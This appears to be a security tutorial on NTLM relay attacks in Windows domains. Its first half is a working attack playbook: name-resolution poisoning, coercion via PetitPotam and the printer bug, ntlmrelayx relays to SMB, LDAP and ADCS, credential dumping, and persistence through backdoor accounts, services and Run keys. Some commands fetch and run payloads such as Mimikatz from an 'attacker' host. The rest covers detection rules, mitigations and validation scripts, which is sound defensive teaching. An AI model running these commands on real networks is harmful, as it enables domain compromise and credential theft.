NTLM Relay Attacks: Modern Lateral Movement Techniques

In-depth exploration of Net-NTLMv2 relay attacks for lateral movement and privilege escalation, including SMB and LDAP relay scenarios with Responder and ntlmrelayx.

Introduction

NTLM relay attacks are an effective technique for lateral movement and privilege escalation in Windows environments. Unlike traditional credential theft that requires cracking password hashes, relay attacks exploit the authentication protocol itself by intercepting and forwarding authentication attempts to other services. This technique leverages a fundamental weakness in the NTLM challenge-response protocol—the server accepting the authentication cannot verify that the client actually initiated the connection.

The power of NTLM relay attacks lies in their ability to weaponize legitimate authentication traffic. When a user or computer attempts to authenticate to a service controlled by an attacker, the authentication can be relayed to another service where the victim has elevated privileges. This creates scenarios where a low-privilege account's authentication can be leveraged to gain administrative access to critical systems, all without ever needing to crack a single password hash.

Modern enterprise environments remain particularly vulnerable to these attacks despite NTLM being a legacy protocol. While Microsoft recommends transitioning to Kerberos, NTLM persists for backward compatibility, as a fallback mechanism, and in scenarios where Kerberos cannot function properly. This ubiquitous presence, combined with common misconfigurations like disabled SMB signing, creates an attack surface that sophisticated adversaries routinely exploit.

Protocol-Level Exploitation

NTLM relay attacks do not require password cracking or hash manipulation. The captured authentication data is relayed in real-time to target services, making traditional defensive measures like password complexity requirements and rotation policies ineffective. The attack exploits the trust model of the authentication protocol itself.

Technical Background

Understanding Net-NTLMv2 Protocol

Net-NTLMv2 is a challenge-response authentication protocol used extensively in Windows environments for authenticating to network services like SMB, HTTP, LDAP, and MSSQL. The protocol operates through the following sequence:

Client initiates connection to a service and requests authentication
Server sends challenge: An 8-byte random challenge value
Client calculates response: Using the user's NT hash and the server challenge, creates a Net-NTLMv2 response
Server validates: Verifies the response matches expected value based on stored credentials

Key Technical Components:

Component	Description	Security Implications
Challenge	8-byte random value from server	Should be unique per session but doesn't validate origin
Response	HMAC-MD5 hash of challenge + client data	Can be forwarded without modification
Target Information	Details about the server requesting authentication	Contains SPN, domain, and server name
Session Key	Negotiated for session encryption	Derived from the authentication exchange

The critical vulnerability lies in the stateless nature of NTLM authentication. The protocol has no mechanism to verify that the challenge was actually requested by the client claiming to authenticate. This allows an attacker to:

Intercept a legitimate authentication request
Forward it to a different service
Present the server's challenge to the victim
Return the victim's response to the target service
Successfully authenticate as the victim

Net-NTLMv2 vs NTLMv2 Hash

Understanding the distinction between these hash types is critical:

NTLMv2 Hash (stored credential):

MD4(UTF-16-LE(password))
Used for: Local authentication, pass-the-hash attacks
Example: aad3b435b51404eeaad3b435b51404ee:e19ccf75ee54e06b06a5907af13cef42

Net-NTLMv2 Hash (challenge-response):

HMAC-MD5(ServerChallenge + ClientData)
Used for: Network authentication, cannot be passed directly
Example: admin::DOMAIN:1122334455667788:D6E6152EA25D03B61F...

The Net-NTLMv2 response is bound to the specific server challenge and cannot be reused in a pass-the-hash attack. However, it can be captured and relayed to other services in real-time, or cracked offline to recover the plaintext password.

Attack Prerequisites

Successful NTLM relay attacks require specific environmental conditions:

SMB Signing Disabled or Not Required
- Most vulnerable configuration
- Default on workstations and member servers
- Usually enabled on domain controllers
Target Service Accepts NTLM Authentication
- SMB, HTTP, LDAP, MSSQL are common targets
- Services must allow the authentication type
Victim Account Has Privileges on Target
- Local administrator on target machine
- Domain administrator for domain-wide access
- Specific privileges (DCSync, user management, etc.)
Network Position for Interception
- Man-in-the-middle capability
- Ability to poison name resolution (LLMNR, NBT-NS, mDNS)
- Access to network authentication traffic

Attack Methodology

Reconnaissance Phase

Before executing relay attacks, identify vulnerable systems and authentication flows:

# Scan for SMB signing status across network
crackmapexec smb 192.168.1.0/24 --gen-relay-list targets.txt

# Identify systems without SMB signing
nmap --script smb2-security-mode.nse -p445 192.168.1.0/24

# Enumerate authentication patterns with Responder
responder -I eth0 -A -v

# Identify high-value targets
crackmapexec smb targets.txt -u '' -p '' --shares

Analyzing SMB Signing Results:

# Enabled and Required (Not vulnerable)
SMB         192.168.1.10    445    DC01    [*] Windows Server 2019 (name:DC01) (domain:CORP)
                                            (signing:True) (SMBv1:False)

# Enabled but not Required (Vulnerable)
SMB         192.168.1.50    445    WS01    [*] Windows 10 (name:WS01) (domain:CORP)
                                            (signing:False) (SMBv1:False)

# Not Enabled (Most vulnerable)
SMB         192.168.1.100   445    FILE01  [*] Windows Server 2016 (name:FILE01)
                                            (signing:False) (SMBv1:False)

Forced Authentication Techniques

To relay authentication, you first need to trigger it. Several methods force authentication:

1. LLMNR/NBT-NS Poisoning (Responder):

# Start Responder in analysis mode first
responder -I eth0 -A

# After confirming traffic, start poisoning
responder -I eth0 -wv

# Responder with SMB/HTTP disabled for relaying
responder -I eth0 -wv -d -D

2. Creating Malicious File Share References:

# Create SCF file for automatic authentication
cat << 'EOF' > @evil.scf
[Shell]
Command=2
IconFile=\\<attacker-ip>\share\evil.ico
[Taskbar]
Command=ToggleDesktop
EOF

# Upload to accessible file share
# User browsing directory triggers authentication

3. IPv6 DNS Takeover (mitm6):

# Exploit IPv6 preference in Windows
mitm6 -d corp.local -i eth0

# Combine with ntlmrelayx
ntlmrelayx.py -6 -t ldaps://dc01.corp.local -wh attacker-wpad.corp.local -l loot

4. Printer Bug Exploitation:

# Force domain controller to authenticate
SpoolSample.exe dc01.corp.local attacker.corp.local

# Capture authentication with Responder or relay to target

5. PetitPotam (MS-EFSRPC Coercion):

# Coerce authentication from domain controller
python3 PetitPotam.py -u user -p password attacker.corp.local dc01.corp.local

# Extremely effective for relaying to ADCS servers

Basic SMB Relay Attack

The fundamental SMB-to-SMB relay attack:

Setup ntlmrelayx:

# Configure Responder to disable SMB/HTTP servers
vim /etc/responder/Responder.conf
# Set: SMB = Off, HTTP = Off

# Start Responder for authentication capture
responder -I eth0 -wv

# In another terminal, start ntlmrelayx
ntlmrelayx.py -tf targets.txt -smb2support

# Enhanced with command execution
ntlmrelayx.py -tf targets.txt -smb2support -c "powershell -enc <base64_payload>"

# Dump SAM database
ntlmrelayx.py -tf targets.txt -smb2support --sam

# Execute socks proxy for interactive access
ntlmrelayx.py -tf targets.txt -smb2support -socks

Target file format (targets.txt):

192.168.1.50
192.168.1.51
FILE01.corp.local
WORKSTATION02.corp.local

Successful relay output:

[*] SMBD: Received connection from 192.168.1.100
[*] SMBD: Authenticating against 192.168.1.50 as CORP/ADMIN SUCCEED
[*] Service RemoteRegistry is in stopped state
[*] Starting service RemoteRegistry
[*] Target system bootKey: 0xaabbccdd...
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

Advanced LDAP Relay Attacks

LDAP relay attacks are particularly powerful for privilege escalation:

1. LDAP Relay for User Privilege Escalation:

# Relay to LDAP with privilege escalation
ntlmrelayx.py -t ldap://dc01.corp.local -smb2support --escalate-user lowpriv

# Add user to specific group
ntlmrelayx.py -t ldap://dc01.corp.local -smb2support --add-computer newcomputer$

# Grant DCSync rights
ntlmrelayx.py -t ldap://dc01.corp.local -smb2support --delegate-access

2. LDAPS Relay (requires certificate verification bypass):

# Relay to LDAPS for encrypted channel
ntlmrelayx.py -t ldaps://dc01.corp.local -smb2support --escalate-user victim

# Combine with shadow credentials attack
ntlmrelayx.py -t ldaps://dc01.corp.local -smb2support --shadow-credentials --shadow-target targetuser$

3. Active Directory Certificate Services (ADCS) Relay:

# Relay to ADCS Web Enrollment
ntlmrelayx.py -t http://ca01.corp.local/certsrv/certfnsh.asp -smb2support --adcs --template DomainController

# Request machine certificate
ntlmrelayx.py -t http://ca01.corp.local/certsrv/certfnsh.asp -smb2support --adcs --template Machine

# Leverage for authentication
# Use certificate with Rubeus or gettgtpkinit.py

Multi-Relay Scenarios

Chain multiple relay attacks for maximum impact:

Scenario 1: Workstation to Domain Controller:

# Terminal 1: Poison network
responder -I eth0 -wv

# Terminal 2: Relay to DC's LDAP
ntlmrelayx.py -t ldap://dc01.corp.local -smb2support --escalate-user compromised

# Terminal 3: Monitor for authentication
# When user with DA rights authenticates, compromised user gains privileges

Scenario 2: Cross-Protocol Relay:

# HTTP to LDAP relay
ntlmrelayx.py -t ldap://dc01.corp.local --http-port 80 --escalate-user attacker

# Trigger with printer bug to force HTTP authentication

Scenario 3: SOCKS Proxy for Interactive Access:

# Start relay with SOCKS support
ntlmrelayx.py -tf targets.txt -smb2support -socks

# Use proxychains for interactive commands
proxychains secretsdump.py -no-pass CORP/[email protected]

# Execute commands through SOCKS
proxychains smbexec.py -no-pass CORP/[email protected]

Exploitation Techniques

Dumping Credentials

Once relay is successful, extract credentials from compromised systems:

# SAM database dump
ntlmrelayx.py -tf targets.txt -smb2support --sam

# LSA secrets dump
ntlmrelayx.py -tf targets.txt -smb2support --lsa

# Complete credential dump
ntlmrelayx.py -tf targets.txt -smb2support -c "powershell IEX (New-Object Net.WebClient).DownloadString('http://attacker/mimikatz.ps1'); Invoke-Mimikatz -DumpCreds"

Executing Payloads

Deploy malicious payloads through relayed sessions:

# Execute PowerShell payload
ntlmrelayx.py -tf targets.txt -smb2support -c "powershell -enc <base64_payload>"

# Upload and execute binary
ntlmrelayx.py -tf targets.txt -smb2support -c "copy \\attacker\share\payload.exe C:\temp\ && C:\temp\payload.exe"

# Create scheduled task for persistence
ntlmrelayx.py -tf targets.txt -smb2support -c "schtasks /create /tn Updater /tr C:\Windows\System32\payload.exe /sc onlogon /ru SYSTEM"

# Add local administrator
ntlmrelayx.py -tf targets.txt -smb2support -c "net user hacker Password123! /add && net localgroup administrators hacker /add"

Establishing Persistence

Maintain access after successful relay:

# Create service for persistence
ntlmrelayx.py -tf targets.txt -smb2support -c "sc create backdoor binpath= C:\Windows\System32\payload.exe start= auto"

# Modify registry for persistence
ntlmrelayx.py -tf targets.txt -smb2support -c "reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v Updater /t REG_SZ /d C:\Windows\payload.exe"

# Create golden ticket with dumped krbtgt hash
ntlmrelayx.py -t ldap://dc01.corp.local -smb2support --dump-laps

# DCSync attack through LDAP relay
python3 secretsdump.py -no-pass -use-vss 'CORP/[email protected]'

Advanced Attack Scenarios

IPv6 DNS Takeover Combined with NTLM Relay

This sophisticated attack leverages Windows' preference for IPv6:

# Terminal 1: Start mitm6
mitm6 -d corp.local -i eth0 -hw attacker-pc

# Terminal 2: Configure ntlmrelayx for LDAPS
ntlmrelayx.py -6 -t ldaps://dc01.corp.local -wh attacker-wpad.corp.local -l loot --delegate-access

# Terminal 3: Monitor /loot directory for captured data
watch -n 1 'ls -lah loot/'

Attack Flow:

mitm6 responds to IPv6 DHCPv6 requests
Provides attacker as DNS server via IPv6
Victims query WPAD (proxy auto-discovery)
Authentication relayed to LDAPS
Delegation rights granted to compromised accounts

Multi-Hop Relay Chains

Create complex relay chains for cross-network attacks:

# Pivot Box 1: Forward SMB to pivot
ntlmrelayx.py -tf pivot-targets.txt -smb2support --outputfile relay1.log

# Pivot Box 2: Relay to final targets
ntlmrelayx.py -t ldaps://dc01.corp.local -smb2support --escalate-user finaluser

# Orchestrate authentication trigger from external network
# Uses multiple layers to bypass network segmentation

Exploiting Cross-Forest Trusts

Relay attacks across forest trusts:

# Enumerate trust relationships
crackmapexec smb dc01.corp.local -u user -p password --trusted-for-delegation

# Configure relay for cross-forest target
ntlmrelayx.py -t ldap://dc01.partner.local -smb2support --escalate-user [email protected]

# Trigger authentication from CORP forest
# Relay to PARTNER forest for privilege escalation

WebDAV to SMB Relay

Exploit WebDAV authentication for relay:

# Configure ntlmrelayx for multiple protocols
ntlmrelayx.py -tf targets.txt -smb2support -c "whoami"

# Create malicious shortcut (.lnk) file
# Target: \\attacker@80\share\file.txt
# Users clicking trigger HTTP authentication

# Also works with .library-ms files
# Triggers automatic WebDAV authentication

Detection and Monitoring

Network-Based Detection

Monitor for indicators of NTLM relay attacks:

Zeek/Bro NSM Signatures:

# Detect Responder poisoning
signature responder-llmnr {
    ip-proto == udp
    dst-port == 5355
    payload /.*\x00\x01\x00\x01\x00\x00\x00\x00\x00\x00/
    event "Possible LLMNR poisoning detected"
}

# Detect abnormal SMB authentication patterns
signature smb-relay-pattern {
    ip-proto == tcp
    payload /.*NTLMSSP\x00\x03\x00\x00\x00/
    event "NTLM authentication from unexpected source"
}

Suricata Rules:

# Detect Responder HTTP server
alert http any any -> any any (msg:"Responder HTTP Authentication Capture"; \
    content:"Server: Microsoft-IIS/"; content:"WWW-Authenticate: NTLM"; \
    detection_filter:track by_src, count 5, seconds 60; \
    classtype:credential-theft; sid:1000001;)

# Detect mitm6 WPAD poisoning
alert http any any -> any any (msg:"Possible WPAD Poisoning"; \
    content:"|47 45 54|"; http_method; content:"/wpad.dat"; http_uri; \
    threshold:type limit, track by_src, count 1, seconds 300; \
    classtype:credential-theft; sid:1000002;)

Windows Event Log Monitoring

Key events indicating relay attacks:

Event ID 4624 (Successful Logon):

<QueryList>
  <Query Id="0" Path="Security">
    <Select Path="Security">
      *[System[(EventID=4624)]]
      and
      *[EventData[Data[@Name='LogonType']='3']]
      and
      *[EventData[Data[@Name='AuthenticationPackageName']='NTLM']]
      and
      *[EventData[Data[@Name='WorkstationName']!='<expected_hostname>']]
    </Select>
  </Query>
</QueryList>

Event ID 4648 (Logon with Explicit Credentials):

<QueryList>
  <Query Id="0" Path="Security">
    <Select Path="Security">
      *[System[(EventID=4648)]]
      and
      *[EventData[Data[@Name='TargetServerName']='localhost']]
    </Select>
  </Query>
</QueryList>

SIEM Detection Rules

Splunk Query for NTLM Relay:

index=windows EventCode=4624 Logon_Type=3 Authentication_Package_Name=NTLM
| stats count by Source_Network_Address, Workstation_Name, Account_Name
| where count > 10 AND Workstation_Name!=Source_Network_Address
| table Source_Network_Address, Workstation_Name, Account_Name, count

Elastic (ECS) Query:

{
  "query": {
    "bool": {
      "must": [
        {"match": {"event.code": "4624"}},
        {"match": {"winlog.event_data.LogonType": "3"}},
        {"match": {"winlog.event_data.AuthenticationPackageName": "NTLM"}}
      ],
      "must_not": [
        {"match": {"winlog.event_data.WorkstationName": "$source_ip"}}
      ]
    }
  }
}

Sentinel KQL Query:

SecurityEvent
| where EventID == 4624
| where LogonType == 3
| where AuthenticationPackageName == "NTLM"
| where WorkstationName != IpAddress
| summarize Count=count() by IpAddress, WorkstationName, TargetUserName, TimeGenerated
| where Count > 5
| order by Count desc

Mitigation Strategies

Enable SMB Signing

The most effective mitigation for SMB relay attacks:

Group Policy Configuration:

Computer Configuration > Policies > Windows Settings > Security Settings > Local Policies > Security Options

Set the following:
- Microsoft network client: Digitally sign communications (always) = Enabled
- Microsoft network client: Digitally sign communications (if server agrees) = Enabled
- Microsoft network server: Digitally sign communications (always) = Enabled
- Microsoft network server: Digitally sign communications (if client agrees) = Enabled

PowerShell Verification:

# Check current SMB signing status
Get-SmbServerConfiguration | Select EnableSecuritySignature, RequireSecuritySignature

# Enable SMB signing on server
Set-SmbServerConfiguration -EnableSecuritySignature $true -RequireSecuritySignature $true -Force

# Enable SMB signing on client
Set-SmbClientConfiguration -RequireSecuritySignature $true -Force

# Verify across domain
Get-ADComputer -Filter * | ForEach-Object {
    $computer = $_.Name
    try {
        $signing = Invoke-Command -ComputerName $computer -ScriptBlock {
            Get-SmbServerConfiguration | Select EnableSecuritySignature, RequireSecuritySignature
        }
        [PSCustomObject]@{
            Computer = $computer
            EnableSignature = $signing.EnableSecuritySignature
            RequireSignature = $signing.RequireSecuritySignature
        }
    } catch {
        Write-Warning "Could not check $computer"
    }
}

Disable NTLM Authentication

Transition to Kerberos-only authentication:

Audit NTLM Usage First:

# Enable NTLM auditing
auditpol /set /subcategory:"Logon" /success:enable /failure:enable

# Configure via Group Policy
Computer Configuration > Windows Settings > Security Settings > Local Policies > Security Options
- Network security: Restrict NTLM: Audit NTLM authentication in this domain = Enable all

# Review logs for dependencies
Get-WinEvent -FilterHashtable @{LogName='System'; ID=4624} |
    Where-Object {$_.Properties[10].Value -eq 'NTLM'} |
    Group-Object {$_.Properties[5].Value} -NoElement |
    Sort-Object Count -Descending

Gradually Disable NTLM:

Phase 1: Audit only (identify dependencies)
Phase 2: Deny NTLM except for specific servers
Phase 3: Deny all NTLM authentication

Group Policy Setting:
Network security: Restrict NTLM: NTLM authentication in this domain
- Set to "Deny all" after thorough testing

LDAP Signing and Channel Binding

Protect LDAP services from relay:

# Enable LDAP signing on domain controllers
reg add "HKLM\SYSTEM\CurrentControlSet\Services\NTDS\Parameters" /v LDAPServerIntegrity /t REG_DWORD /d 2 /f

# Enable LDAP channel binding
reg add "HKLM\SYSTEM\CurrentControlSet\Services\NTDS\Parameters" /v LdapEnforceChannelBinding /t REG_DWORD /d 2 /f

# Restart NTDS service (requires maintenance window)
Restart-Service NTDS -Force

# Verify configuration
Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\NTDS\Parameters" |
    Select-Object LDAPServerIntegrity, LdapEnforceChannelBinding

Extended Protection for Authentication

Enable EPA to prevent relay attacks:

# Enable EPA for web services
Set-WebConfigurationProperty -Filter /system.webServer/security/authentication/windowsAuthentication -Name useKernelMode -Value True -PSPath IIS:\

Set-WebConfigurationProperty -Filter /system.webServer/security/authentication/windowsAuthentication -Name extendedProtection/tokenChecking -Value Required -PSPath IIS:\

# Verify EPA configuration
Get-WebConfigurationProperty -Filter /system.webServer/security/authentication/windowsAuthentication -Name extendedProtection/tokenChecking -PSPath IIS:\

Network Segmentation

Implement micro-segmentation to limit relay impact:

# Create Windows Firewall rules for administrative protocols
New-NetFirewallRule -DisplayName "Block SMB from Workstations" `
    -Direction Inbound -Protocol TCP -LocalPort 445 `
    -Action Block -RemoteAddress 192.168.1.0/24

New-NetFirewallRule -DisplayName "Allow SMB from Servers Only" `
    -Direction Inbound -Protocol TCP -LocalPort 445 `
    -Action Allow -RemoteAddress 192.168.10.0/24

# Implement Private VLANs for workstation isolation
# Prevents lateral movement between endpoints

Defensive Best Practices

Comprehensive Security Checklist

Disable Legacy Protocols

# Disable LLMNR via Group Policy
Computer Configuration > Administrative Templates > Network > DNS Client
- Turn off multicast name resolution = Enabled

# Disable NBT-NS via PowerShell
Get-NetAdapter | ForEach-Object {
    $adapter = $_.Name
    Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\NetBT\Parameters\Interfaces\Tcpip_$($_.InterfaceGuid)" `
        -Name NetbiosOptions -Value 2
}

# Disable WPAD via Group Policy
User Configuration > Preferences > Windows Settings > Registry
New Registry Item:
- Key Path: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad
- Value Name: WpadOverride
- Value Type: REG_DWORD
- Value Data: 1

Monitoring and Alerting

Deploy comprehensive monitoring for relay attack indicators:

# PowerShell monitoring script
$logPath = "C:\SecurityLogs\NTLMRelay_$(Get-Date -Format 'yyyyMMdd').log"

while ($true) {
    # Monitor for suspicious NTLM authentications
    $events = Get-WinEvent -FilterHashtable @{
        LogName='Security'
        ID=4624
        StartTime=(Get-Date).AddMinutes(-5)
    } | Where-Object {
        $_.Properties[8].Value -eq 'NTLM' -and
        $_.Properties[11].Value -ne $_.Properties[18].Value
    }

    if ($events) {
        foreach ($event in $events) {
            $logEntry = @{
                TimeGenerated = $event.TimeCreated
                SourceIP = $event.Properties[18].Value
                Workstation = $event.Properties[11].Value
                TargetUser = $event.Properties[5].Value
                LogonType = $event.Properties[8].Value
            }
            $logEntry | ConvertTo-Json | Out-File -Append $logPath

            # Send alert
            Send-MailMessage -To "[email protected]" `
                -From "[email protected]" `
                -Subject "Potential NTLM Relay Detected" `
                -Body ($logEntry | ConvertTo-Json) `
                -SmtpServer "mail.corp.local"
        }
    }

    Start-Sleep -Seconds 60
}

Testing and Validation

Verify SMB Signing Configuration

# Test SMB signing from Linux
crackmapexec smb 192.168.1.0/24 --gen-relay-list targets.txt

# Manually verify with smbclient
smbclient -L //target.corp.local -U 'user%password' --option='client signing=required'

# Check with Nmap
nmap --script smb2-security-mode -p445 192.168.1.0/24

Expected secure output:

Host script results:
| smb2-security-mode:
|   311:
|_    Message signing enabled and required

Simulate Attack (Authorized Testing)

# Controlled test environment
# Step 1: Verify targets allow relay
crackmapexec smb test-targets.txt -u '' -p ''

# Step 2: Start monitoring
tcpdump -i eth0 -w ntlm-test.pcap port 445 or port 389

# Step 3: Execute controlled relay
ntlmrelayx.py -tf test-targets.txt -smb2support -debug

# Step 4: Trigger authentication
# Use test account with known permissions
responder -I eth0 -I test.local -A

# Step 5: Verify detection mechanisms triggered
# Check SIEM alerts, EDR detections, event logs

# Step 6: Document gaps and remediate

Validate Mitigations

# Comprehensive validation script
$results = @()

# Test 1: Verify SMB signing
$computers = Get-ADComputer -Filter * | Select-Object -ExpandProperty Name
foreach ($computer in $computers) {
    try {
        $signing = Invoke-Command -ComputerName $computer -ScriptBlock {
            Get-SmbServerConfiguration | Select RequireSecuritySignature
        } -ErrorAction Stop

        $results += [PSCustomObject]@{
            Computer = $computer
            Test = "SMB Signing"
            Result = if ($signing.RequireSecuritySignature) {"PASS"} else {"FAIL"}
        }
    } catch {
        $results += [PSCustomObject]@{
            Computer = $computer
            Test = "SMB Signing"
            Result = "UNREACHABLE"
        }
    }
}

# Test 2: Verify LLMNR disabled
$llmnr = Get-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient" -Name EnableMulticast -ErrorAction SilentlyContinue
$results += [PSCustomObject]@{
    Computer = $env:COMPUTERNAME
    Test = "LLMNR Disabled"
    Result = if ($llmnr.EnableMulticast -eq 0) {"PASS"} else {"FAIL"}
}

# Test 3: Verify LDAP signing on DCs
$dcs = Get-ADDomainController -Filter * | Select-Object -ExpandProperty Name
foreach ($dc in $dcs) {
    try {
        $ldapSigning = Invoke-Command -ComputerName $dc -ScriptBlock {
            (Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\NTDS\Parameters").LDAPServerIntegrity
        }

        $results += [PSCustomObject]@{
            Computer = $dc
            Test = "LDAP Signing"
            Result = if ($ldapSigning -eq 2) {"PASS"} else {"FAIL"}
        }
    } catch {
        $results += [PSCustomObject]@{
            Computer = $dc
            Test = "LDAP Signing"
            Result = "ERROR"
        }
    }
}

# Export results
$results | Export-Csv -Path "C:\SecurityAudits\NTLMRelay_Validation_$(Get-Date -Format 'yyyyMMdd').csv" -NoTypeInformation
$results | Where-Object {$_.Result -eq "FAIL"} | Format-Table -AutoSize

References

Next Steps

If NTLM relay vulnerabilities are identified:

Immediately enable SMB signing on all systems where possible
Implement monitoring for Event IDs 4624 and 4648 with NTLM authentication
Conduct comprehensive audit of systems requiring NTLM
Deploy network segmentation to limit relay attack scope
Test and implement LDAP signing and channel binding on domain controllers
Explore related Active Directory attack techniques:

Takeaway: NTLM relay attacks exploit fundamental weaknesses in challenge-response authentication protocols that persist in modern Windows environments. Unlike attacks requiring password cracking, relay attacks weaponize legitimate authentication traffic in real-time, making them particularly dangerous and difficult to detect. The combination of mandatory SMB signing, LDAP channel binding, LLMNR/NBT-NS disablement, and comprehensive authentication monitoring provides defense-in-depth against this persistent threat. Organizations must prioritize eliminating NTLM where possible and implementing strict controls where it remains necessary.

NTLM Relay Attacks: Modern Lateral Movement Techniques

On this page